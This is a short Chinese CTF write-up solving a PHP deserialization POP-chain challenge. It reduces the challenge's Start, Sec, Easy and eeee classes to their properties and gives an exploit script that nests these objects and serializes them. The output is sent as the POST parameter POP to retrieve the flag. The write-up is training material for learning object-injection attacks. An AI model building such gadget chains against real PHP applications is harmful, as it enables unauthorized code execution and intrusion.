这道题是反序列pop类型的。
这道题的链路比较好复原,正向逆向都可以。
正向复原,图画的比较丑,谅解一下。
反向复原
这里不知道魔术方法的功能可以看这两个链接。
PHP 魔术方法、序列化与对象复制-腾讯云开发者社区-腾讯云
后续就是编写exp
先将代码复制进vscode,然后把所有和属性无关的删除。
<?php
highlight_file(__FILE__);
class Start{
public $name;
public $func;
}
class Sec{
public $obj;
public $var;
}
class Easy{
public $cla;
}
class eeee{
public $obj;
}
?>
然后构造pop链。
<?php
highlight_file(__FILE__);
class Start{
public $name;
public $func;
}
class Sec{
public $obj;
public $var;
}
class Easy{
public $cla;
}
class eeee{
public $obj;
}
$res = new Start;
$res->name = new Sec;//第一条链
$res->name->obj = new Easy;//第二条链
$res->name->var=new eeee;//第三条链
$res->name->var->obj=new Start;//第四条链
$res->name->var->obj->func=new Sec;//第五条链
echo serialize($res);
?>
将结果以POST请求传给参数POP。得到flag